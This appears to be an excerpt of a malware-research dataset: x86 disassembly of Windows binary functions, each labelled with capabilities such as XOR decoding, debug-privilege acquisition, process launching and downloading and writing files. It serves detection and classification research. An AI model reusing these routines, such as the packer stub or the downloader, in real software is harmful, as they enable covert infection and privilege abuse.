joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b31f
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
push 0x68
push dword [0x424920]
call dword [sym.imp.USER32.dll_GetDlgItem]
cmp byte [0x424924], 0
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov edi, eax
mov dword [ebp - 4], edi
mov ebx, 0xb1
jne 0x40b381
mov ecx, dword [0x41e0f4]
call fcn.004126b4
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffff
push 0
push ebx
push edi
call esi
push 0x41437c
push 0
push 0xc2
push edi
call esi
mov byte [0x424924], 1
mov edi, 0x5f5e100
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x60]
push eax
push 0
push 0x43a
push dword [ebp - 4]
mov dword [ebp - 0x60], 0x5c
call esi
xor eax, eax
inc eax
cmp byte [ebp + 8], 0
mov byte [ebp - 0x47], 0
mov dword [ebp - 0x5c], eax
je 0x40b3d1
mov ecx, dword [ebp - 0x58]
and ecx, 0xbfffffff
or ecx, eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x4c], 0xa0
mov dword [ebp - 0x5c], 0x40000001
lea ecx, [ebp - 0x60]
push ecx
push eax
push 0x444
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
push 0
push 0xc2
push dword [ebp - 4]
call esi
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
cmp byte [ebp + 8], 0
je 0x40b41b
mov eax, dword [ebp - 0x58]
and eax, 0xfffffffe
or eax, 0x40000000
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x60]
push eax
push 1
push 0x444
push dword [ebp - 4]
call esi
push 0x414554
push 0
push 0xc2
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40bcf8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00401200
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x40bd13
mov byte [ebx], 0
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40bd1d
mov byte [eax], 0
test edi, edi
je 0x40bdc6
movzx eax, word [edi]
test ax, ax
je 0x40bdc6
push esi
xor esi, esi
xor ecx, ecx
movzx eax, ax
inc edi
inc edi
cmp ax, 0x3d
jne 0x40bd56
cmp dword [ebp + 0xc], 0
je 0x40bd62
test esi, esi
jne 0x40bd62
test ebx, ebx
je 0x40bd52
mov byte [ebx], 1
mov esi, edx
jmp 0x40bd71
cmp ax, 0xd
je 0x40bd84
cmp ax, 0xa
je 0x40bd86
mov word [edx], ax
mov eax, dword [ebp + 0x14]
inc edx
add eax, 0xfffffffe
inc edx
cmp ecx, eax
jg 0x40bd7c
movzx eax, word [edi]
inc ecx
test ax, ax
jne 0x40bd36
jmp 0x40bd86
mov eax, dword [ebp + 0x10]
mov byte [eax], 1
jmp 0x40bd86
inc edi
inc edi
mov ebx, dword [ebp + 0xc]
xor eax, eax
mov word [edx], ax
test ebx, ebx
je 0x40bdc1
mov word [ebx], ax
test esi, esi
je 0x40bdc1
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push dword [ebp + 0x14]
lea eax, [ebp - 0x2000]
push eax
push ebx
call fcn.0040e5a3
xor eax, eax
mov word [esi], ax
mov eax, edi
pop esi
jmp 0x40bdc8
xor eax, eax
pop edi
pop ebx
leave
ret 0x10
Function at 0x40be0d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push 0x400
lea eax, [ebp - 0x820]
push eax
call fcn.00413135
cmp byte [0x424925], 0
jne 0x40be9b
push 6
push dword [0x41609c]
lea eax, [ebp - 0x820]
push eax
call fcn.004072cf
push eax
call fcn.0040efb8
test eax, eax
jne 0x40be9b
push 0x4145e8
call fcn.00413122
lea eax, [ebp - 0x820]
push eax
call fcn.0040a826
xor ecx, ecx
push 0x1e
mov word [ebp + eax*2 - 0x81e], cx
push ecx
lea eax, [ebp - 0x20]
push eax
call fcn.0040a4a0
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x820]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
leave
ret

Function at 0x40bf66
Capabilities:
Delete file

Disassembly:
push ebx
xor ebx, ebx
mov byte [0x424911], 1
cmp dword [0x424920], ebx
je 0x40bf8e
push 0x7d
call fcn.00409b0b
push eax
push 2
push dword [0x424920]
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
mov eax, dword [0x424920]
mov dword [0x424914], ebx
mov byte [0x424910], 1
cmp eax, ebx
je 0x40bfef
push 1
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x424934], ebx
jne 0x40bfbd
cmp byte [0x424924], bl
je 0x40bfc5
cmp dword [0x424918], ebx
jne 0x40bfe7
push ebx
push 1
push 0x111
push dword [0x424920]
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x40bfe7
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040af16
cmp dword [0x424920], ebx
jne 0x40bfdb
cmp byte [0x424950], bl
pop ebx
je 0x40bffd
jmp fcn.0040be0d
ret

Function at 0x40c039
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
xor ebx, ebx
cmp byte [0x424958], bl
je 0x40c0b9
cmp word [0x41e0f8], bx
je 0x40c0b9
push esi
push 0x41e0f8
lea esi, [ebp - 0x808]
call fcn.0040bffe
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop esi
test eax, eax
jne 0x40c0b9
push dword [ebp + 8]
call fcn.0040a826
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x808]
push 1
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4
Function at 0x40c0be
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00401200
cmp byte [0x424958], 0
je 0x40c165
push esi
push dword [ebp + 8]
lea esi, [ebp - 0x100c]
call fcn.0040bffe
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop esi
test eax, eax
jne 0x40c165
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x100c]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c15c
shr dword [ebp - 4], 1
mov eax, 0x3ff
cmp dword [ebp - 4], eax
jae 0x40c140
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x80c], cx
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 8]
call fcn.0040e5a3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8

Function at 0x40c28d
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.USER32.dll_DialogBoxParamW]
cmp byte [0x424906], 0
mov eax, dword [ebp + 0xc]
mov dword [0x424908], eax
mov eax, dword [ebp + 0x10]
mov dword [0x42490c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x424900], eax
je 0x40c2bd
xor eax, eax
inc eax
jmp 0x40c2e6
cmp byte [0x424907], 0
je 0x40c2cb
push 2
pop eax
jmp 0x40c2e6
push dword [ebp + 8]
push 0x40b4ef
push dword [0x424920]
push str.REPLACEFILEDLG
push dword [0x418e84]
call esi
dec eax
je 0x40c338
dec eax
je 0x40c34a
dec eax
je 0x40c331
dec eax
jne 0x40c315
push dword [ebp + 8]
push 0x40b83b
push dword [0x424920]
push str.RENAMEDLG
push dword [0x418e84]
call esi
test eax, eax
je 0x40c297
mov al, 0x52
jmp 0x40c345
dec eax
je 0x40c326
dec eax
mov al, 0x4e
jne 0x40c345
mov byte [0x424907], 1
jmp 0x40c345
mov byte [0x424912], 1
mov al, 0x43
jmp 0x40c345
mov byte [0x424906], 1
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov al, 0x59
pop esi
pop ebp
ret 0x10
mov al, 0x4e
jmp 0x40c345
Function at 0x40e2b8
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x4126cb
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetTickCount]
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [eax + 0x48]
test eax, eax
jl 0x4126fd
cmp dword [ebp - 4], edi
jne 0x41273e
call ebx
sub eax, dword [ebp - 0xc]
cmp eax, 0x2710
ja 0x41273e
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x4126ea
push edi
push edi
push edi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x4126ea
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [eax + 0x48]
mov esi, eax
cmp esi, edi
jl 0x412794
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x414c40
push eax
call dword [ecx]
mov esi, eax
cmp esi, edi
jl 0x41278b
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
mov esi, eax
cmp esi, edi
jl 0x412782
mov eax, dword [ebp - 8]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
cmp esi, edi
pop edi
pop esi
setge al
pop ebx
leave
ret 8
Function at 0x41304a
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x414c30
push 1
xor ebx, ebx
push ebx
push 0x414ce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x41311b
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x414cd0
push eax
call dword [ecx]
test eax, eax
jl 0x413112
cmp byte [ebp + 8], bl
je 0x41309d
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x4130ba
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x4130cc
push 0x41437c
jmp 0x4130cf
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x4130e4
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x4130f5
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x413109
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x413135
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8
Function at 0x10b014c
Capabilities:
Get hostname

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x10cd0d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 0x102bff0
lea ecx, [ebp - 0x48]
call fcn.010ab83f
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov esi, eax
cmp esi, ebx
je 0x10b0242
push edi
push 0x208
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 1
call fcn.010a8e6d
push dword [0x10cd10c]
mov edi, eax
lea eax, [ebp - 0x24]
push eax
push 0x102bfa4
push 0x104
push edi
call fcn.0103d988
add esp, 0x18
test eax, eax
jl 0x10b01df
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x28]
push eax
push edi
call sub.WINSPOOL.DRV_OpenPrinterW
mov esi, eax
jmp 0x10b01e1
xor esi, esi
push edi
call fcn.010a8eab
pop ecx
cmp esi, ebx
je 0x10b0241
push 0x64
call fcn.010a8e6d
pop ecx
mov ecx, dword [0x10cd0f4]
mov edi, eax
mov eax, ecx
mov dword [ebp - 0x2c], ebx
lea edx, [eax + 2]
mov si, word [eax]
inc eax
inc eax
cmp si, bx
jne 0x10b0204
sub eax, edx
lea edx, [ebp - 0x40]
push edx
lea edx, [ebp - 0x2c]
push edx
push 0x64
push edi
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push ecx
push 0x102bfd8
push dword [ebp - 0x28]
call sub.WINSPOOL.DRV_XcvDataW
push edi
mov esi, eax
call fcn.010a8eab
pop ecx
push dword [ebp - 0x28]
call sub.WINSPOOL.DRV_ClosePrinter
pop edi
lea ecx, [ebp - 0x48]
call fcn.010ab886
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.010aac17
leave
ret

Function at 0x431006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
mov ecx, 0x79f200af
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..7LWLf
mov ebx, 0x42f3f8
nop
mov ecx, 0x344063e7
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x402463
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x4024f6
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4024a4
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x25c
call fcn.0044f3a0
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.0044f3b0
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x402500
mov eax, 0
jmp 0x402500
mov esp, ebp
pop ebp
ret 4

Function at 0x402538
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.0044f3d0
add esp, 0x10
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x4025b4
cmp dword [ebp - 4], 0
je 0x4025af
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
jmp 0x4025bc
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x4025cd
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4025d3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402610
mov eax, 0x4732d5
push eax
push 3
mov ebx, 0x270
call fcn.0044f4b0
add esp, 0x28
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402753
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x278
call fcn.0044f590
add esp, 0x10
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402661
mov eax, 0x4732d5
push eax
push 1
mov ebx, 0x244
call fcn.0044f1a0
add esp, 0x10
call fcn.00401780
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402691
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4026a5
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.0044f1b0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4026c8
push ebx
call fcn.0044a4b8
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40273e
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40274e
push ebx
call fcn.0044a4b8
add esp, 4
jmp 0x402843
push dword [ebp + 8]
call fcn.00402463
and eax, 1
xor eax, 1
test eax, eax
je 0x4027bd
call fcn.00401780
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402786
mov eax, 0x4732d5
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40279a
mov eax, 0x4732d5
push eax
push 2
mov ebx, 0x23c
call fcn.0044f1b0
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4027bd
push ebx
call fcn.0044a4b8
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 0xc], eax
push 5
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402833
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402843
push ebx
call fcn.0044a4b8
add esp, 4
push 0x681182
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x90]
mov esp, ebp
pop ebp
ret 4
Function at 0x4070ba
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
push 8
call fcn.0044a4b2
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0044a4b2
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.0044a4b2
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.0044ec30
add esp, 0x1c
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4071de
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
jmp 0x407275
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0044a4b8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x408ce9
Capabilities:
Create http request
Download and write a file
Inspect section memory permissions
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x24
call fcn.0044a4b2
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 9
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 0
mov ebx, dword [ebp - 4]
add ebx, 4
mov dword [ebp - 0x14], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.0044ec90
add esp, 0x10
mov dword [ebp - 0x1c], eax
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
push 0
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.WININET.dll_InternetOpenA]
nop
nop
nop
nop
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x408db0
push ebx
call fcn.0044a4b8
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x408dc0
push ebx
call fcn.0044a4b8
add esp, 4
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x14]
mov dword [ebx], eax
mov ebx, dword [ebp - 4]
add ebx, 4
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
cmp dword [ebx], 0
jne 0x408e11
push 0x6811d6
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
push dword [ebp + 0x14]
push 0
push 0
push 0xffffffffffffffff
call dword [ebp + 0x10]
push 0x6811d6
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, 0xffffffff
jmp 0x4093fc
push dword [ebp + 8]
call fcn.00409440
mov dword [ebp - 0x14], eax
push str._r_nAccept_Language:_zh_cn_r_n
push dword [ebp - 0x14]
push str.Accept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg__application_x_shockwave_flash__application_vnd.ms_excel__application_vnd.ms_powerpoint__application_msword____r_nReferer:
mov ecx, 3
call fcn.004010d5
add esp, 0xc
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x408e49
push ebx
call fcn.0044a4b8
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x408e5d
push ebx
call fcn.0044a4b8
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]